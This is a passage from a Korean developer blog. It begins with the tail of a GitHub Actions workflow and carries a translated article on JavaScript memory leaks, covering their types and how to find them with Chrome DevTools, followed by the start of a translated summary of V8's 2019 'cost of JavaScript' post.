      - name: Use Node.js ${{ matrix.node-version }}
        uses: actions/setup-node@v2.1.0
        with:
          node-version: ${{ matrix.node-version }}

      # 캐시된 노드모듈이 있다면 그것을 쓰도록 합니다.
      # https://docs.github.com/en/actions/configuring-and-managing-workflows/caching-dependencies-to-speed-up-workflows#using-the-cache-action 를 참고했습니다.
      # key: key를 활용해서 cache를 만들어 저장합니다.
      # path: 캐시될 파일의 위치입니다.
      # OS와 package-lock.json을 기준으로 node_modules의 캐시를 만듭니다.
      - name: Cache node modules
        uses: actions/cache@v2.0.0
        env:
          cache-name: cache-node-modules
        with:
          path: node_modules
          key: ${{ runner.OS }}-build-${{ hashFiles('package-lock.json') }}
          restore-keys: |
            ${{ runner.OS }}-build-${{ env.cache-name }}-
            ${{ runner.OS }}-build-

      # 일반적인 ci를 실행합니다.
      - name: CI
        run: |
          npm ci

      # cron job을 실행합니다.
      - name: Run Cron
        run: |
          npm run something
```

---

Source: https://yceffort.kr/2020/07/memory-leaks-in-javascript.md
Title: 자바스크립트 메모리 누수와 해결 방법
Description: ```toc tight: true, from-heading: 2 to-heading: 3 ``` [4 Types of Memory Leaks in JavaScript and How to Get Rid Of Them](https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-...
Date: 2020-07-14
Tags: javascript, web-performance

## Table of Contents

[4 Types of Memory Leaks in JavaScript and How to Get Rid Of Them](https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/)을 번역한 글입니다.

이 아티클에서는 클라이언트 자바스크립트 코드에서 발생할 수 있는 가장 흔한 타입의 메모리 누수에 대해 알아볼 것이다. 그리고 크롬 개발 툴을 활용해 이를 찾아내는 방법도 공부해볼 것이다.

## Introduction

메모리 누수는 모든 개발자가 종종 마주하는 흔한 문제다. 메모리 관리가 잘 되고 있는 언어에서 조차 이러한 문제는 종종 발생한다. 메모리 누수는 애플리케이션 속도저하, 예기치 못한 종료, 느린 응답속도 등과 같이 많은 문제를 야기할 수 있다.

### 메모리 누수란 무엇인가?

메모리 누수는 어떤 이유에서든 지간에, 운영체제 또는 사용가능한 메모리 풀에서 반환되지 않으면서 동시에 애플리케이션에서 더 이상 필요로 하지 않는 메모리로 정의 될 수 있다. 프로그래밍 언어는 메모리 관리를 각각 다른 방법으로 처리한다. 이런 방법들은 메모리 누수를 이르킬 확률을 감소시킨다. 그러나 어떠한 메모리가 돌아 오지 않는지는 시스템이 결정할 수 없는 문제다. 즉, [오직 개발자만이 메모리의 일부를 운영제체에 반환할 수 있는지 여부를 명확히 알 수 있다.](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management#Release_when_the_memory_is_not_needed_anymore) 어떤 프로그래밍 언어에서는 개발자들이 이 것을 하는데 도움을 주는 기능을 제공한다. 다른 언어에서는 개발자들이 메모리가 사용되지 않을 때를 완전히 명시하는 것을 기대하는 언어도 있다.

### 자바스크립트의 메모리 관리

자바스크립트는 이른바 가비지 콜렉팅 언어(garbage collected languages)라고 불리운다. 가비지 콜렉팅 언어는 이전에 할당된 메모리 영역이 응용프로그램의 다른부분에서 여전히 '다시 참조될 (reached)' 수 있는지 주기적으로 확인하여 개발자가 메모리를 관리하는데 도움을 준다. 즉, 가비지 콜렉팅 언어는 메모리 관리 문제를 '필요한 메모리가 무엇인가?' 에서 '응용 프로그램의 다른부분에서 여전히 도달할 수 있는 메모리가 무엇인가?' 로 문제를 좁히는 것으로 볼 수 있다. 이러한 차이는 미묘하지만 중요하다. 앞으로 할당된 메모리가 필요할지는 개발자 만이 알 수 있지만서도, 더 이상 닿을 수 없는 메모리는 알고리즘적으로 결정되어 OS에 다시 돌아오도록 표시할 수 있다.

> 가비지 콜렉팅 언어가 아닌 언어들은 보통 메모리 관리를 하는데 있어 다른 종류의 기술을 사용한다. 이를 명시적 관리하고 하는데, 개발자가 메모리가 필요하지 않을 때 컴파일러에 명시적으로 알려주거나, 참조카운트를 사용하여 참조되는 횟수가 0에 달하는지 체크하는 방식이다. 이러한 방식은 장단이 있다.

## 자바스크립트의 메모리 누수

가비지 컬렉팅 언어의 메모리 누수의 주된 원인은 '원치 않는 참조' (unwanted references)다. 이것이 무엇인지 알기 위해서는, 가비치 컬렉터가 어떻게 메모리가 여전히 유효한지를 결정하는 방법 이해 해야 한다.

### Mark-and-sweep

대부분의 가비지 컬렉팅 언어는 `mark-and-sweep`이라는 잘 알려진 알고리즘을 사용한다. 이 알고리즘은 아래와 같은 방식으로 동작한다.

1. 가비지 콜렉터가 `roots`의 목록을 만든다. `roots`는 보통 코드내에서 참조되고 있는 전역 변수를 의미한다. 자바스크립트의 경우, `window` 객체가 대표적인 전역 변수의 예로, `root`로 작동한다. `window` 객체는 항상 존재해야 하므로, 가비지 컬렉터는 `window`와 그 하위 자식들을 모두 항상 존재해야하는 것으로 인지한다. (가비지가 아니다.)
2. 모든 roots들은 active 한 것으로 (가비지가 아닌 것으로) 표시된다. 모든 자식들 또한 재귀적으로 동일하게 처리된다. `root`에서 접근 가능한 모든 것들은 가비지가 아닌 것으로 판단된다.
3. active로 표시되지 않은 것들은 모두 가비지가 될 수 있는 것으로 판단한다. 따라서 콜렉터는 이들을 메모리에서 해제시켜 OS로 돌려줄 수 있다.

최신 가비지 콜렉터들은 각각 다른 방법으로 알고리즘을 향상시켰지만, 핵심은 동일하다. 도달 가능한 메모리는 active로 표시하고, 나머지는 가비지로 간주한다.

원치 않는 참조는 개발자가 더 이상 필요하지 않는 참조라는 것을 알고 있지만, 어떤 이유로든 active root에 들어가버리게 되면 해제 대상이 아니게 되어 버린다. 이러한 자바스크립트의 맥락에서, 원치않는 참조는 더 이상 사용되지 않을 코드 어딘가에 있는 변수로서, 해제될 수 있는 메모리를 일컫는다. 일부는 이를 개발자의 실수라고 주장할 수도 있다.

띠라서 자바스크립트의 가장 흔한 메모리 누수에 대해 알 기 위해서는, 어떤 종류의 참조가 종종 잊혀지는지 확인을 해봐야 한다.

## 흔한 자바스크립트 메모리 누수 3가지

### 1. 의도치 않은 전역 변수

자바스크립트의 목적 중 하나는 자바처럼 보이지만 초보자들이 사용할 수 있는 관대한 언어를 개발하는 것이다. 자바스크립트가 사용한 방법 중 하나는 선언되지 않은 변수를 처리하는 것이다. 즉 선언하지 않은 변수에 대한 참조는 글로벌 객체 내부에 새로운 변수를 생성하는 것이다. 브라우저의 경우 글로벌 객체는 `window`다. 아래 예제를 보자.

```javascript
function foo(arg) {
  bar = 'this is a hidden global variable'
}
```

위 코드는 아래와 같다.

```javascript
function foo(arg) {
  window.bar = 'this is an explicit global variable'
}
```

`bar`가 `foo`함수 범위 안에서만 변수에 대한 참조를 보유하도록 처리해두었는데, `var`를 까먹으면 예기치 않은 전역 변수를 생성하게 된다.

이와 비슷한 또다른 실수는 바로 `this`다.

```javascript
function foo() {
  this.variable = 'potential accidental global'
}

// Foo가 호출되면, this는 글로벌 객체인 윈도우를 가리키게 된다.
foo()
```

> 이러한 실수가 일어나는 것을 막기 위해서는 `use strict`를 자바스크립트 파일 맨 상단에 선언하면 된다. 이는 자바스크립트를 더 엄격한 모드에서 파싱하게 함으로써 이러한 실수를 방지한다.

#### 전역 객체에 대해서

우리가 예상치 못한 전역 변수에 대해서 이야기 하긴했지만, 사실 많은 코드에 명시적인 전역 변수가 흩어져 있는 것이 사실이다. 이는 정의상 메모리를 해제할 수가 없다. (null처리 또는 재할당 되지 않는 경우) 특히 방대한 양의 정보를 임시로 저장하고, 처리하는데 전역 변수를 쓴다면 이는 고려해봐야할 문제다. 만약 전역 변수에 큰 데이터가 들어가 있다면, 모든 작업이 끝난 이후에 null 처리 하거나 재할당 해주는 것이 필요하다. 전역 변수와 관련하여 메모리 소비량이 증가하는 한가지 일반적인 원인은 캐시다. 반복적으로 사용되는 저장데이터는 캐시로 처리한다. 이것이 효율적으로 작동하기 위해서는 캐시크기에 대한 상한선이 있어야 한다. 한도가 없는 캐시는 메모리 해제를 할 수가 없으므로 메모리 소비 크기를 늘리는 원인이 된다.

### 2. 잊혀진 타이머 또는 콜백

`setInterval`은 자바스크립트에서 종종 사용되곤 한다. 또 다른 라이브러리는 callback을 받거나 observer를 제공한다. 대부분의 라이브러리는 자신의 인스턴스가 더 이상 메모리에서 참조되고 있지 않다면, 콜백 또한 그렇게 하도록 처리한다. 그러나 `setInterval`의 경우, 아래와 같은 코드를 자주 볼 수 있다.

```javascript
var someResource = getData();
setInterval(function() {
    var node = document.getElementById('Node');
    if(node) {
        // Do stuff with node and someResource.
        node.innerHTML = JSON.stringify(someResource));
    }
}, 1000);
```

이 예제는 타이머에서 일어날 수 있는 일, 즉 더 이상 필요하지 않은 `node`나 데이터를 참조하는 타이머의 예시다. `node`로 선언된 객체는 제거 될 수 있으므로, 인터벌 핸들러 내부의 전체블록을 불필요하게 만들 수 있다. 그러나 핸들러는, 인터벌이 여전히 활성화 되어 있기 때문에 메모리 해제를 할 수가 없다. 인터벌이 해제가 될 수 없다면, 그 dependency도 해제 될 수가 없다. 이 말인 즉슨, `someResource`는, 해제가 될 수 없다는 뜻이다.

Observer의 경우, 더 이상 필요하지 않은 경우 (또는 관련 객체에 접근하지 못하게 하려는 경우) 해당객체를 제거하기 위해 명시적으로 호출하는 것이 중요하다. 과거 특정 브라우저 (IE6)가 순환 참조를 잘 관리하지 못했기 때문에 이 부분은 특히 중요하다. (자세한 내용은 아래 참조) 오늘날 대부분의 브라우저는 observe 객체가 더 이상 참조되지 않는다면, 리스너가 명시적으로 제거되지 않는다 하더라도 메모리를 해제 한다. 객체를 없애기전에 이러한 observer를 명시적으로 제거하는 것은 좋은 관례다.

```javascript
// 이 element는 onClick에서 참조됨
var element = document.getElementById('button')

function onClick(event) {
  element.innerHtml = 'text'
}

element.addEventListener('click', onClick)

element.removeEventListener('click', onClick)
element.parentNode.removeChild(element)

// 이제 `element`는 더 이상 쓰이 지않는다.
// `element`와 `onClick`모두 스코프에서 사라져서 모두 해제 대상이 된다.
// 오래된 브라우저에서는 이러한 순환참조를 잘 해결하지 못했다.
```

#### object observer와 순환참조

Observer와 순환 참조는 자바스크립트 개발자의 골칫거리였다. 이는 인터넷 익스플로러 가비지 콜렉터의 버그 (혹은 디자인적인 결정) 때문이었다. 이전 버전의 인터넷 익스플로러는 DOM 노드와 자바스크립트 코스 다이의 순환 참조를 감지할 수 없었다. 이는 옵저버에서 일반적인 것으로, 위의 예제와 같이 일반적으로 관찰 가능한 것에 대한 참조를 유지한다. 즉 옵저버가 IE의 노드에 추가될때마다 누수가 발생한다는 것이다. 개발자들은 이 때 부터 노드나 옵저버 내부에 참조 무효화 핸들러를 명시적으로 명시적으로 선언하기 시작했다. 오늘날 모던 브라우저에서는 이러한 순환참조를 올바르게 감지하고처리할 수 있는 현대적인 가비지 컬렉팅 알고리즘을 사용한다. 다시 말해, 노드를 연결할 수 없게 만들기 전에 `removeEventListener`를 호출할 필요가 없다는 뜻이다.

jQuery와 같은 프레임워크나 라이브러리는 노드를 없애버리기전에 명시적으로 리스너를 제거한다. 이는 라이브러리에서 수행되며, 구버전 IE에서 발생할 수도 있는 브라우저의 메모리 누수가 발생 하지 않도록 구현해두었다.

### 3. DOM 외부에서의 참조

가끔 DOM 노드를 자료구조안에 저장하는 것이 유용할 때가 있다. 테이블의 여러 행을 빠르게 업데이트 하고 싶은 상황을 가정해 보자. DOM을 딕셔너리나 배열에 저장해서 참조해서 쓰는 방법이 있을 것이다. 그렇게 된다면, DOM 트리와 딕셔너리 안에 같은 DOM 참조가 두벌로 존재하게 될 것이다. 만약 나중에 이 두 행을 모두 제거해야할 경우, 두 참조 모두 제거를 해야 한다.

```javascript
//
var elements = {
  button: document.getElementById('button'),
  image: document.getElementById('image'),
  text: document.getElementById('text'),
}

function doStuff() {
  image.src = 'http://some.url/image'
  button.click()
  console.log(text.innerHTML)
}

function removeButton() {
  document.body.removeChild(document.getElementById('button'))

  // 이 시점에서도 여전히 elements에서 button의 참조를 가지고 있다.
  // 이 경우 button element는 여전히 메모리에 있으며, GC에 의해 해제 될 수 없다.
}
```

여기에 추가적으로 고려해야할 사항은 DOM 트리에서 내부 혹은 말단 노드에 대한 참조다. 자바스크립트 코드에서 테이블의 특정 셀(`<td/>`)에 대한 참조를 가지고 있다고 하자. 나중에 DOM에서 이 테이블을 제거하기로 했지만, 여전히 셀에 대한 참조를 가지고 있게 된다. 직관적으로 GC가 해당 셀을 제외한 나머지를 해제할 것으로 보지만, 현실은 그렇지 않다. 셀은 테이블의 자식노드고, 자식 노드는 부모 노드의 참조를 유지한다. 그래서 테이블의 셀에 대한 참조로 인해 테이블 전체가 메모리에 유지 된다. DOM의 요소에 대해 참조할 때는 이점을 유의해야 한다.

### 4. 클로저

(뭐야 세개라며)

자바스크립트에서 중요한 부분을 차지하는 것중 하나가 클로저다. 클로저는 상위 스코프의 변수에 접근 가능한 것을 말한다. Meteor 개발자들은 자바스크립트 런타임 구현으로 인해 메모리 누수가 가능한 [특정 사례](https://blog.meteor.com/an-interesting-kind-of-javascript-memory-leak-8b47d2e7f156?gi=c44666acc598)를 발견하였다.

```javascript
var theThing = null

var replaceThing = function () {
  var originalThing = theThing
  // 상위 스코프인 originalThing을 참조하는 스코프를 갖게됨
  // 동시에 theThing 도 참조하게됨.
  var unused = function () {
    if (originalThing) console.log('hi')
  }

  //
  theThing = {
    longStr: new Array(1000000).join('*'),
    someMethod: function () {
      console.log(someMessage)
    },
  }
}
setInterval(replaceThing, 1000)
```

`replaceThing`이 호출될 때마다, 큰 사이즈의 배열 `longStr`과 `someMethod` 클로저를 생성한다. 동시에 `unused` 변수는 `originalThing`을 참조하는 클로저를 가지게 된다. 중요한 것은, `unused`와 같은 내부함수에서는 자신을 둘러싼 부모함수의 스코프를 공유한다는 것이다. (스코프 체이닝) `unused`내부 함수가 없다면, `replaceThing`은 매번 실행 될 때 마다 길이가 큰 문자열을 생성하긴 하겠지만, 최신 자바스크립트 엔진 (v8과 같은) 에서는 이전에 호출된 `originalThing`이 사용 되지 않았음을 파악하고, 이전 값을 해제하여 메모리 사용량을 유지 시킨다. 하지만 위 코드에서는 `unused`의 내부 함수로 인해 계속해서 `originalThing`을 참조하게 되고 `unused`가 사용되지 않더라도, 이 코드가 실행 될 때마다 메모리 사용량이 꾸준히 증가하는 것을 볼 수 있다. 따라서 GC가 작동하더라도 메모리 사용량은 크게 줄어들지 않게 된다. 본질적으로 클로저의 참조 목록이 생성되면 (`theThing`으로 부터 생겨난 `root`), 이 클로저 내부에는 큰사이즈 배열에 대한 간접적인 참쪼도 동반하게 되므로 메모리 누수가 발생된다.

## 가비지 컬렉터의 비직관적인 동작

비록 가비지 컬렉터는 편리하지만, 이는 트레이드 오프가 있다. 이중 하나는 '비결정적'(nondeterminism) 이라는 것이다. 다시말해, 가비지 컬렉터는 예측을 할 수가 없다. 메모리 수집이 언제 수행될지 확신 할 수가 없다. 이 말인 즉슨, 어떤 경우에는 프로그램이 실제 필요로 하는 것 보다 더 많은 메모리가 사용될 수도 있다는 것을 의미한다. 일부 민감한 애플리케이션에서는 또한 짧은 일시정지 현상이 보일 수도 있다. 비결정성은 수집이 언제 수행될 수 있는지를 모른다는 것을 의미하지만, 대부분의 경우 가비지 컬렉터는 일반적으로 메모리 할당이 이뤄지는 경우에만 메모리 수집을 진행한다. 만약 할당이 이뤄지지 않으면 대부분 가비지 컬렉터는 유휴 상태에 있게 된다. 다음과 같은 시나리오를 살펴보자.

1. 사이즈가 큰 데이터 할당을 여러번 한다.
2. 가비지 컬렉터에 의해 대부분 (또는 전부)이 더 이상 접근 되지 않는다라고 표시된다. (더 이상 사용하지 않아서 null로 초기화 했다고 가정)
3. 더 이상의 데이터 할당을 수행하지 않는다.

이 시나리오에서 대부분의 가비지 컬렉터들은 더 이상 수집을 수행하지 않는다. 더 이상 접근 되지 않는 데이터 셋이 남아있어도, 수집이 일어나지 않는다. 이는 엄밀히 말해서 메모리 누수라고 볼수는 없지만, 일반적인 메모리 사용량 보다 더 많은 메모리를 사용하는 셈이다.

구글에서 제공하는 [다음 예제](https://developer.chrome.com/devtools/docs/demos/memory/example2)를 살펴보자.

## 크롬 메모리 프로파일링 툴 살펴보기

크롬은 자바스크립트 코드 메모리 사용을 프로파일링 할 수 있는 도구를 제공한다. 메모리와 관련된 도구로 Performance 메뉴와 Memeory 메뉴가 있다.

### Performance

![GC-1](./images/GC1-performance.png)

이 메뉴는 코드에서 비정상적인 메모리 사용 패턴을 발견하는데 필수적으로 사용된다.

![Memory](./images/GC2-Memory.png)

앞으로 자주 봐야하는 메뉴다. Memory 메뉴에서 스냅샷을 찍을 수 있고, 자바스크립트 코드의 메모리 사용량을 볼 수도 있다. 또한 시간에 따라 메모리 할당을 기록할 수도 있다. `summary`와 `comparison`을 사용하면 된다.

## 크롬 개발자 도구를 활용해서 메모리 누수 찾기 예제

메모리 누수에는 크게 두가지 형태가 있다. 하나는 계속해서 메모리 사용량이 증가하는 것이고, 다른 하나는 단 한번만 메모리 사용량이 증가하는 형태다. 일반적으로 전자는 찾기 쉽다. 하지만 전자는 메모리가 늘어나면 브라우저가 느려지거나 스크립트 실행이 중단되어 성가시다. 후자의 유형인 주기적이지 않은 누수는 다른 메모리 할당에 비해 아주 쉽게 발견할 수 있다. 그러나 이러한 경우는 흔치 않아서, 잘 인지하지 못하고 넘어가는 경구가 많다. 하지만 주기적 메모리 누수는 버그이기 때문에 반드시 해결해야 한다.

### 주기적으로 메모리 누수가 증가하는 케이스

[크롬이 제공하는 예제](https://developer.chrome.com/devtools/docs/demos/memory/example1)를 살펴보자.

```javascript
var x = []

function createSomeNodes() {
  var div,
    i = 100,
    frag = document.createDocumentFragment()
  for (; i > 0; i--) {
    div = document.createElement('div')
    div.appendChild(
      document.createTextNode(i + ' - ' + new Date().toTimeString()),
    )
    frag.appendChild(div)
  }
  document.getElementById('nodes').appendChild(frag)
}
function grow() {
  x.push(new Array(1000000).join('x'))
  createSomeNodes()
  setTimeout(grow, 1000)
}
```

`grow`가 호출되면 `div`노드를 만들고, DOM에 추가시킨다. 또한 큰 배열을 할당하고, 이를 글로벌 변수에 참조시킨다. 이 코드는 위에서 언급한 크롬도구로 살펴볼 수 있다.

`Performance` 메뉴를 통해 쉽게 탐지할 수 있다.

![](./images/GC3-example.png)

이 스크린샷에서 볼 수 있듯이, 메모리 누수가 있다는 것을 보여주는 요소가 두가지 있다. 초록선 (nodes)와 파란선 (JS Heap) 이다. 노드들이 꾸준히 증가하면서 감소하지 않는데, 이것이 가장 큰 징후다.

JS Heap 그래프도 역시 메모리 사용이 증가되고 있음을 보여준다. 하지만 가비지 컬렉터의 영향으로 알아채기가 쉽지 않다. 초기 메모리가 증가하다가, 한번 크게 감소하고, 다시 증가 하다 감소하는 형태가 반복되고 있다. 이 경우 핵심은 가비지 컬렉터에 의해 메모리 사용량이 감소할 때마다 이전보다 힙의 크기가 더 크게 유지되고 있다는 점이다. 다시 말해, GC가 많은 양의 메모리 수집에 성공하고 있지만, 그 중 어딘가에서 일부가 누수되고 있다는 뜻이다.

이제 메모리 누수가 있다는 것을 알았다. 다음으로, 어디에서 누수되는지 알아보자.

### 두 개의 스냅샷 찍기

어디에서 메모리 누수가 생기는지 찾기 위해, 크롬 개발자 도구의 Memory 메뉴를 사용할 것이다. 이번 단계를 수행하기 위해, 위 단계에서 크롬 예제 페이지를 새로고침하고, `Take Heap Snapshot`을 수행해보자. 그리고, 버튼을 누른 다음에 좀 기다린 후에 두번 째 스냅샷을 생성한다.

![](./images/GC4-comparison.png)

이제 비교할 수 있는 방법이 두가지 있다. `Summary`를 선택 한 다음, `Objects Allocated between Snapshot 1 and Snapshot`를 선택하거나, `Summary`대신 `Comparison`을 선택하면 된다.

여기에서는 쉽게 찾을 수 있다.

![](./images/GC5.png)

`(string)`을 살펴보면, `xxxxxxxxx....` 새로운 객체 들이 할당되어 있지만, 해제 되지 않아 많은 메모리를 잡아먹고 있음을 알 수 있다.

![](./images/GC6.png)

그리고 이 배열은 `window`객체의 `x` 변수로 참조되어 있다고 나온다. 이는 수집 되지 않은 루트 `(window)`에 큰 사이즈의 객체가 참조되어 있음을 알려주었다. 이렇게 메모리 누수와 그 위치를 발견했다.

꽤 기쁜 발견이지만, 이 예제는 간단한 축에 속한다. 이 예제 처럼 큰 할당은 일반적으로 볼 수 있는 경우는 아니다. 위 예제에서는 DOM 노드에서의 누수 문제도 포함하고 있다. 위 스냅샷에서는 노드들을 쉽게 찾을 수 있지만, 규모 가 큰 사이트에서는 복잡해서 찾기 쉽지 않을 것이다. 최신 버전 크롬은 이런 작업에 맞는 도구를 하나더 제공하는데, `Record Heap Allocations`다.

> 현재 최신버전 크롬에서는 `Allocation instrumentation on Timeline`으로 바뀌었습니다.

### Recording Heap allocations to find leaks

![](./images/GC7.png)

새로 고침 후에, create snapshot 대신 `Allocation instrumentation on Timeline` 으로 해보자. 기록이 진행되는 동안, 상단에 위 스크린샷 처럼 파란색 기둥 모양 그래프가 생기는 것을 볼 수 있다. 이것은 메모리 할당을 나타낸다. 매초마다 큰 할당이 이뤄지는 것을 볼 수 있다.

타임라인 일부를 선택하면, 해당 기간 동안에 수행되는 할당만 볼 수 있다. 해당영역을 선택하면, 3개의 constructor가 존재하는 것을 알 수 있다. 이 중 하나는 메모리 누수의 원인인 `(string)`이고 다른 하나는 DOM, 그리고 나머지는 `Text` (DOM 마지막에 존재하는 text)요소다.

`HTMLDivElement` constructor를 선택하고, 하단의 `Allocation Stack`메뉴를 누르면, `grow` 에서 `createSomeNodes`로 참조되어 할당된 요소를 볼 수 있다. 이제 두 스냅샷을 비교하는 것으로 돌아가보면, 이 생성자가 할당은 하지만 삭제를 하지 않는다는 것, 즉 회수를 하지 않는다는 것을 볼 수 있다. 이는 메모리 누수의 징후이며, 이 객체가 어디에 할당되는지 알게 되었다. 이제 이 코드를 고치면 된다.

### 또다른 유용한 기능

![](./images/GC8.png)

`Summary`대신 `allocation`을 선택하면, 함수와 관련된 메모리 할당을 보여준다. 화면에서 `grow`와 `createSomeNodes`함수가 있는것이 보일 것이다. 해당 함수를 클릭하면 해당 함수와 관련된 객체 목록을 하단에서 볼 수 있다. 여기에서는 이미 메모리 누수의 원인으로 밝혀진 `(string)` `HTMLDivElement` `Text` 등이 있는 것을 볼 수 있다.

지금 까지 살펴본 도구를 조합하면 메모리 누수를 찾는데 도움을 받을 수 있다. 이제 이 도구를 가지고 놀아보자. 실제 운영중인 사이트를 프로파일링 해보자. (코드가 압축되거나 난독화 되지 않는 것이 도움이 될 것이다) 메모리 누수나 할당하는 양보다 더 많은 메모리를 차지하는 객체가 존재하는지 살펴보자.

## 내맘대로 요약

1. 자바스크립트는 가비지 컬렉트 언어다. 이 방식은, 할당한 메모리를 애플리케이션에서 여전히 사용중인지 검사해 메모리 관리에 대해서 개발자들이 덜 신경 쓰게 끔한다.
2. 자바스크립트에서의 메모리 누수 주요 원인은 '예상치 못한 참조' 다.
3. 이 방법에 사용되는 알고리즘은 `mark-and-sweep`으로, 활성화 상태인 루트가 참고하는 모든 존재들을 재귀적으로 찾아서 필요한 것으로 `mark`하고 나머지는 `sweep`하는 방식이다.
4. 메모리 누수의 일반적인 형태는 아래와 같다.
   1. 우발적으로 생긴 전역변수
   2. 잊혀진 타이머와 콜백
   3. DOM을 외부에서 참조
   4. 클로저
5. 가비지 컬렉터는 비결정성인 특징을 가지고 있다. 즉 언제 수집되는지 정확히 예측할 수 없다. 그러나 대부분의 경우메모리 할당이 이뤄지는 경우에만 수집을 진행한다.
6. 크롬의 Profile, Memory 툴로 잘 살펴보자.

---

Source: https://yceffort.kr/2020/07/the-cost-of-javascript-2019.md
Title: 자바스크립트의 비용
Description: 자바스크립트의 비용 2019ver
Date: 2020-07-06
Tags: javascript, web-performance

[The cost of JavaScript in 2019](https://v8.dev/blog/cost-of-javascript-2019)을 번역 요약한 글입니다.

## Table of Contents

<iframe width="640px" height="360px" src="https://www.youtube.com/embed/X9eRLElSW1c" frameBorder="0" allow="autoplay; encrypted-media" allowFullScreen></iframe>

2019년 들어서 자바스크립트를 처리하는데 드는 주요 비용은 다운로드와 CPU 실행 시간이다. 유저 인터랙션은 브라우저의 메인스레드가 자바스크립트를 실행하는라 바쁘다면 약간 지연 될 수 있다. 따라서 스크립스 실행 시간 및 네트워크 병목현상을 최적화 하는 것이 효과적이다.

## 실행가능한 고오급 지침

이것이 웹 개발자들에게 의미하는 것이 무엇이냐? 파싱과 컴파일에 드는 시간이 더 이상 생각만큼 느리지 않다는 것이다. 자바스크립트 번들에 필요한 세가지 사항은 아래와 같다.

### 다운로드 소요시간을 향상 시켜라

- 자바스크립트 번들사이즈를, 특히 모바일 기기를 위해 작게 만들어라. 작을 수록 다운로드 속도는 향생되고, 메모리 사용량도 줄어들며, CPU 도 부담이 적다.
- 하나의 큰 번들을 만드는 것을 피하라. 먼들이 50~100kb를 넘는다면, 이를 작은 번들로 쪼갤 필요가 있다. ([HTTP/2의 multiplexing](https://stackoverflow.com/questions/36517829/what-does-multiplexing-mean-in-http-2)을 활용한다면 여러 응답과 요청을 동시에 전송할 수 있어 추가적인 요청의 오버헤드를 줄일 수 있다. )
- 모바일에서는 네트워크 속도로 인해 훨씬 더 적은 리소스를 유지하고, 메모리 사용량도 낮게 유지해야 한다.

### 실행 시간 최적화

- 메인스레드에 부담을 주는 [Long Tasks](https://w3c.github.io/longtasks/)를 피하고, 페이지를 최대한 빠르게 작동가능하게 (interactive) 만들어라. 다운로드 이후 스크립트 시간은 속도에 있어 이제 중요한 척도(비용)가 되었다.

### 1kb 이상의 큰 인라인 스크립트를 피하라

- 만약 스크립트가 1kb가 넘는다면, 인라인으로 사용하는 것을 피하라. 큰 인라인 스크립트는 메인 스레드에서 파싱되고 컴파일 된다.

> Chrome has a minimum size for code caches, currently set to 1 KiB of source code. This means that smaller scripts are not cached at all, since we consider the overheads to be greater than the benefits.

[참고](https://v8.dev/blog/code-caching-for-devs)

## 왜 다운로드와 실행 속도가 문제인가?

왜 다운로드와 실행 시간을 최적화 해야하는가? 다운로드 시간은 성능이 구린 네트워크 환경에서 치명적이다. 4G와 5G 환경이 전세계적으로 구축되고 있지만, [NetworkInformation.effectiveType](https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/effectiveType) 는 많은 요소들로 인해 3G 혹은 더 느린 네트워크 처럼 작동할 수 있다.

> 다른 여러가지 요소로 인해 매번 빠른 속도를 유지해 줄 수 없다는 뜻 같습니다.

자바스크립트의 실행속도는 느린 CPU를 사용하는 스마트폰에서 중요하다. CPU, GPU, 서멀 스로틀링 등의 차이로 인해 고오급 스마트폰과 보급형 스마트폰의 성능 차이가 크다. 이는 실행 시간이 CPU와 연관되어 있기 때문에, 자바스크립트 성능에 있어 중요하다.

사실 크롬과 같은 브라우저에서 전체 페이지 로딩에 걸리는 시간 중 최대 30% 정도는 자바스크립트 실행에 사용될 수 있다. 아래는 일반적인 웹사이트 Reddit.com을 하이엔드 데스크톱에서 접근했을 때 걸리는 시간이다.

![자바스크립트 처리에 전체 페이지 로딩 시간 중 10~30%를 소비하고 있다.](https://v8.dev/_img/cost-of-javascript-2019/reddit-js-processing.svg)

그러나 모바일에서는 이와 상황이 많이 다르다.

![최신형 스마트폰(픽셀)에서는 3~4배의 시간이 소요되었지만, 보급형 스마트폰에서는 6배 이상의 시간이 소요된다.](https://v8.dev/_img/cost-of-javascript-2019/reddit-js-processing-devices.svg)

자바스크립트 실행 시간을 최적화 할때는, UI스레드를 장기간 독점하고 있는 Long Tasks에 주의 하자. 이는 시각적으로 페이지가 준비된 것처럼 보여도, 중요한 태스크 실행을 차단하고 있을 수 있다. 이러한 것들은 가능한 작게 나누어야 한다. 코드를 분할하고, 로드 되는 순서에 우선순위를 지정하여 페이지 상호작용을 더 빠르게 할 수 있고, 입력 지연 시간을 줄일 수도 있다.

![메인 스레드를 독점하는 작업을 잘게 나누자](https://v8.dev/_img/cost-of-javascript-2019/long-tasks.png)

## 파싱과 컴파일을 향상시키기 위해 V8은 무엇을 했나?

V8의 원시 자바스크립트 구문 분석속도는 크롬 60 이후 2배가량 증가했다. 동시에, 파싱과 컴파일 비용은 이를 병렬화 하는 크롬의 다른 최적화 작업으로 인해 덜 눈에 띄게 되었고, 중요성도 떨어졌다.

V8은 메인 스레드의 파싱 및 컴파일 작업을 평균 40% 감소시켰다(Facebook 46%, 핀터레스트 62%, youtube 80%)

![버전 별 V8파싱 속도](https://v8.dev/_img/cost-of-javascript-2019/chrome-js-parse-times.svg)

또한 V8의 서로 다른 버전에서 이러한 변경점이 CPU 시간에 미치는 영향을 시각화 할수 있다.

![V8 버전별 파싱 속도](https://v8.dev/_img/cost-of-javascript-2019/js-parse-times-websites.svg)

이러한 변화들이 어떻게 이루어졌는지 살펴보자. 요약하자면, 스크립트 리소스는 worker스레드에서 스트리밍 파싱되고, 컴파일 될 수 있는데 이는 다음과 같은 것을 의미한다.

- V8은 메인 스레드를 막지 않고 자바스크립트를 파싱+컴파일 할수 있다.
- 전체 HTML 파서가 `<script/>`태그를 만나면 스트리밍이 시작된다. 파서 블락 스크립트의 경우, HTML파서가 만들어내지만, 다른 `async` 스크립트는 계속해서 진행된다.
- 대부분의 경우, V8 v파서의 속도가 실제 연결 속도 보다는 빠르므로, V8은 마지막 스트립트 바이트가 다운로드 된후 몇 밀리 초 이후에 파싱 + 컴파일된다.

오래된 크롬 버전의 경우, 파싱을 시작하기전에 스크립트를 모두 다운로드 해야 했으므로, 이는 간단한 접근 법인 한편으로 CPU를 충분히 사용하지는 못했다. 41~68사이의 크롬은 다운로드가 시작되자마자 별도의 스레드에서 `async` `deferred` 스크립트 구문을 파싱하기 시작했다.

